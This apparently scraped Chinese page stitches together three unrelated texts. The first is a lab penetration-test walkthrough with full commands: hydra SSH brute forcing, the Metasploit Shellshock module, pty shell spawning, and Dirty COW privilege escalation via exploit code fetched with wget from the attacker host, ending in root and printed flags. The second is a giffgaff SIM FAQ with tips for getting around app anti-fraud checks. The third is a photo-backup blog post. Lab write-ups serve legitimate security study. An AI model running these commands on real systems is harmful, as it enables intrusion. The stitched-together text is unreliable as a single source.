因为支持密码登录,尝试root账户的密码爆破,利用工具hydra,线程-t为6
sudo hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.190.87 ssh -s 22
挂着工具进行爆破,我们尝试后续信息收集
80-HTTP端口的信息收集
访问 http://192.168.190.87:80 不是CMS我们直接从HTML隐藏信息收集开始
提示是存在启动的应用,但是没显示
**信息收集-HTML隐藏信息查看
**
# 包括文章中是否写明一些敏感信息
curl http://192.168.190.87:80无
信息收集-目录扫描初步
# 用两个扫描器进行扫描,更加的谨慎一些
dirsearch -u http://192.168.190.87:80 -x 302,403,404
dirb http://192.168.190.87:80没有扫出目录,准备大字典
信息收集-目录扫描(深度/大字典)
gobuster dir -u http://192.168.190.87:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 1000
在进行大字典的时候,发现无事可干,尝试利用其他工具探测一下web
探测完毕,毫无头绪
nikto -h http://192.168.190.87:80
探测之后提示似乎容易受到shellshock漏洞攻击CVE-2014-6278
似乎与首页的提示存在启动的应用有关
Shellshock漏洞于2014年9月公开,并且对网络安全造成了相当大的影响。这个漏洞的本质是Bash解释器在处理环境变量时存在一种缺陷,允许远程攻击者通过精心构造的恶意环境变量注入任意的Shell命令,从而实现执行恶意代码的能力。
使用msfconsole,搜索攻击方式
msfconsole
search CVE-2014-6271
在这里选择了1因为探测出来是apache的站点,1比2更靠谱
使用msf漏洞利用模块:exploit(multi/http/apache_mod_cgi_bash_env_exec)
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set rhosts 192.168.190.87
set lhost 192.168.45.194
set targeturi /cgi-bin/test
run成功getwebshell
由于获取的shell交互不友好,利用python获得新的交互shell
# 如果是msf的要先shell
shell
# 利用python获取交互shell -> python失败使用python3
python -c "import pty;pty.spawn('/bin/bash')";
www-data@ubuntu:/usr/lib/cgi-bin$ find / -name local.txt 2>/dev/null
/usr/lib/cgi-bin/local.txt
www-data@ubuntu:/usr/lib/cgi-bin$ cat /usr/lib/cgi-bin/local.txt
6b8bdd93e00d8ea52fcc7f201eba9f56提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备
检测Linux操作系统的发行版本
较老的Ubuntu以及Linux系统可以overlayfs提权
# 确定发行版本
www-data@ubuntu:/usr/lib/cgi-bin$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 12.04 LTS
Release: 12.04
Codename: precise发行版本为Ubuntu 12.04,有点能overlayfs提权
检测Linux操作系统的内核版本
较低的内核版本可以进行脏牛提权
www-data@ubuntu:/usr/lib/cgi-bin$ uname -a
Linux ubuntu 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux内核版本为3.2.0
若存在以下情况进行overlayfsLinux Kernel Version提权
:-: |:-:
系统|版本
Linux Kernel Version |大于3.13.0小于3.19
Ubuntu|Linux 15.04
Ubuntu|Linux 14.10
Ubuntu| Linux 14.10
Ubuntu| Linux 12.04
msfcontrol
msf > searchsploit overlayfs发现内核版本不太符合
若存在以下情况进行脏牛提权
:-: |:-:
系统|版本
Centos7/RHEL7| 3.10 .0-327.36.3.e17
Cetnos6/RHEL6 |4.4.0-45.66
Ubuntu 16.10 |2.6.32-642 .6.2.e16
Ubuntu 16.04 |4.8.0-26.28
Ubuntu 14.04 |3.13.0-100.147
Debian 8 |3.16.36-1+deb8u2
Debian 7 |3.2.82-1
msf6 > searchsploit dirty

# cp到本地
cp /usr/share/exploitdb/exploits/linux/local/40847.cpp .
# 确认编译语句
cat 40847.cpp
得到编译以及执行的语句
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
./dcow -spython3开启http服务
# 利用python开启http服务,方便目标机器上下载文件
sudo python3 -m http.server 80
# 目标机器到tmp目录下下载(有下载权限)
cd /tmp
# 下载
wget http://192.168.45.194/40847.cpp
# 给权限
chmod +x 40847.cpp
# 编译
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
# 运行
./dcow -s发现不能用g++`
尝试换一个
# cp到本地
cp /usr/share/exploitdb/exploits/linux/local/40839.c .
# 确认编译语句
cat linux/local/40839.c
gcc -pthread dirty.c -o dirty -lcrypt
创建firefart用户,密码自输python3开启http服务
# 利用python开启http服务,方便目标机器上下载文件
sudo python3 -m http.server 80
# 目标机器到tmp目录下下载(有下载权限)
cd /tmp
# 下载
wget http://192.168.45.194/40839.c
# 给权限
chmod +x 40839.c
# 编译
gcc -pthread 40839.c -o dirty -lcrypt
# 运行
./dirty
# 重新登录su firefart用户密码123456
www-data@ubuntu:/usr/lib/cgi-bin$ su firefart
Password: 123456
firefart@ubuntu:/usr/lib/cgi-bin# id
uid=0(firefart) gid=0(root) groups=0(root)提权成功
firefart@ubuntu:/tmp# cat /root/proof.txt
22f3656d21fb5ef444ea898e69073476
从发现ssh版本开始就感觉有点偏老,应该多尝试老漏洞
有时候nikto工具也可以适当用一下,指不定有其他收获
giffgaff 是来自英国的一家新锐低成本运营商,隶属于英国三大运营商 O2 旗下,2009 年创立,采用了无营业网点,无热线客服,灵活套餐的特色服务来降低用户成本,特别适合短期游客及英国留学生。它支持全球漫游,在中国也可收发短信,接听电话和上网。
-性价比高:0 月租,免费接收短信,充值一次,接码可以用 20 年以上(仅需半年保号一次),可能是国内性价比最高的接码实体卡!
-安全:实体卡无须担心因号码被风控,还可以换 2 次号码,比 Google Voice 整天被风控来的好用
-漫游:支持中国大陆激活及漫游
-稳定性高:无限有效期,每半年发一条短信即可保号
-兼容性好:支持绝大部分海外 APP/应用/银行,例如 TikTok/Twitter/Facebook/Instagram/LINE/WhatsApp/Telegram 等等,ChatGPT3.5/4.0 ,苹果 ID ,Amazon ,PayPal ,花旗,渣打,巴克莱,德意志银行,瑞士银行,还有一些新出现的虚拟信用卡等等
Q:官网申请到的空白卡里有话费吗?
A:没有,收到卡后按照教程自助激活,保姆级教程地址: https://pan.baidu.com/s/1Byhw7zE5MKNxaILy9d_Pcw?pwd=xkns
Q:充值送 5 磅话费的福利一直有吗?
A:直接官网在线申请的,目前此项福利已经取消。可以通过朋友邀请链接申请才有,或者自行购买。不激活不充值是没有的哦,超时充值也有可能没有错过福利哦。
Q:月租多少钱?
A:若和我一样,主要是用来接码,建议选择 0 月租的 Pay As You Go 套餐,充多少用多少,TB 或 JD 上卖的都是针对游客的短期月租套餐卡,不合适长期使用。如果您需要前往海外,只需到官网上调整您的套餐即可。
Q:如何保号,成本多少?
A:这种 O 月租的卡一般都有保号要求,giffgaff 要求每 180 天话费余额需要变动一次,否则号码会被回收。在国内,最低成本就是发出一条短信,发送对象是国内外手机号码均可以,每条 0.3 磅,因此一年消费 0.6 磅,仅仅不到 6 元人民币。每次话费余额变化后,例如充值,消费,保号周期重新开始计算。首次充值,也属于余额变动,因此在 180 天内完成保号即可。
Q:收短信免费吗,其他费用如何?
A:收短信免费,打电话/接电话=1 英镑/分钟,发短信=0.3 英镑/条,上网=0.2 英镑/MB
Q:首次自助充值激活需要准备什么?
A:请准备一张 VISA 或万事达的外币实体信用卡或借记卡,国内发行的也可以,单银联、JCB 、AE 等信用卡以及任何虚拟信用卡均无法使用哦,充值最低 10 英镑起,请确保您的卡额度足够。特别提醒,首次充值不支持 PayPal ,以后续费可以使用。
Q:插卡后没信号
A:由于海外运营商与国内运营商之间的漫游对接有很多环节和验证过程,耐心等待 1-5 分钟, 就会出现。
Q:我的卡号是多少
A:首次插卡,会收到一条激活成功的提示短信,内有您的手机号码,后面也可以登录官网查询。
Q:手机号码正确,无法登录官网或软件提示号码格式不对
A:英国国际区号(United Kingdom)是+44 ,有时候也用 0044 表示,输入时候要选择正确区号。
Q:为什么我的卡无法拨打电话,无法发短信?
A:可以在手机设置里取消 [运营商自动选择] ,改为手动选择到中国移动,并重启手机后再尝试
Q:支持哪些手机?信号如何?
A:支持目前所有主流手机,gg 卡是 FDD-LTE 制式,除了极少数电信 CDMA 3G 手机不支持,其他均无问题。它在国内默认通过中国移动或中国联通进行漫游,还支持 5G ,通话质量,数据质量,覆盖范围非常不错。
Q:苹果手机使用上有什么注意事项?
A:不建议打开 iMessage/Facetime 功能,因为如果点击确认,苹果后台会发出一条短信,因此会被扣费 0.3 磅。由于国内短信价格很低,很多人都是套餐里送的,所以不知道有这么一个短信发送的过程。
首次充值激活:
登录个人账户/重置密码:
查询话费余额/SIM 号码:
续费充值:
话费账单查询:
个人资料修改:
申请换号: (一般在被 app 封号后建议用,有 2 次额度)
查询 SIM 号码:发送 [ NUMBER ] 到 43430
查询话费余额:直接拨打 [*100#]
关闭语音信箱:直接拨打 [##002#]
打开语音信箱:直接拨打 [*614431020#]
Q:为什么收不 Telegram 电报的验证码?
A:请使用 Telegram 移动端申请注册,网页端及电脑客户端是不行的。如果还不行,大概率是因为你使用的是国内阉割版的安卓手机,TG 的安卓版需要手机系统内置谷歌服务框架 GMS 软件包才能收到验证码,建议更换苹果手机,或者带 GMS 服务的安卓手机,具体请百度谷歌查询。
Q:为什么收不到 Line 的验证码?
A:Line 近期已经加强了防欺诈能力,无论你用什么运营商的海外号码申请注册,凡是通过机场/VPN 这种共享 IP 来使用,大概率会被识别出来,看似没有任何报错,就是收不到验证码。解决方案是开启 gg 卡自带的漫游上网来完成所有注册流程,同时建议暂时关闭其他 App 的网络访问,避免消耗流量。
Q:为什么收不 Tik Tok 国际版抖音的验证码?
A:确保您的卡和 App 在同一部手机,其次确保手机里就一张 gg 卡,国内卡不能同时存在,最后建议更换 VPN 或机场线路,比如切换到美国/日本/新加坡/英国等地,港台线路容易受污染。
一直不愿意用一些云相册或者网盘之类的服务来备份和保存自己的照片,主要是两个原因:
群晖 moments
最开始 NAS 装了群晖,于是就用了群晖自带的 moments 来同步照片.用了一段时间后出现了一些问题:
PhotoPrism - 超好用
不得不说 PhotoPrism 确实太好用了,我最喜欢它的一点是他的兼容性很强,你只要丢给它一个目录,他就能处理里面的所有照片,并且可以在各个维度进行检索,对于超大量的照片来说真的很好用.
但问题就在于 PhotoPrism 只有服务端,把照片同步到 NAS 这个动作还要我自己想办法来完成
PhotoSync - 不值得这个价格
这个 app 的功能还是可以的,但是它的 UI 和交互是在是有点古老,我还需要专门用一个 app 来进行同步这个事情,最重要的是要付费才能用,我觉得不太值得,放弃.
Nextcloud - 移动端 app 太差
Nextcloud 作为网盘来说挺好用的,我尝试使用 Nextcloud 的移动端来同步相册照片.但我真的安装了安卓端 app 后,连接了我 https 反代后的 URL 居然直接崩溃了,完全没法用,放弃.
这个方案最让我喜欢的一点是各个环节都不是耦合的,去掉其中任何一个环节都不会影响到其他环节,每个人完全可以根据自己的喜好来替换其中的某个部分.
Alist
官网: https://alist.nn.ci/zh/
负责把各种可用的储存映射成webdav,支持各种云盘网盘以及本地储存
Pho
官网: https://pho.tools/
负责通过webdav上传照片到Alist映射的储存 它很好的一点是支持加密后上传,这样就可以在网盘上做二次备份,在能避免隐私泄露的前提下多一层数据保险
而且我可以在手机上直接用这个 app 来浏览我本地和已经上传的照片,这个 app 的 UI 和交互都很好,可以直接用它来代替系统自带的相册
Rclone
官网: https://rclone.org/
负责把Alist的webdav映射到 NAS 的文件系统内,来把照片喂给 PhotoPrism
PhotoPrism
官网: https://www.photoprism.app/
最终的"集大成者",全家所有设备备份的照片最终全部喂到这里,即使是海量照片也能根据它快速索引到自己想找的照片

平时手机上浏览和上传
使用Pho浏览本地和最近上传的照片
查找和浏览过去某个时候的照片
根据信息用PhotoPrism检索即可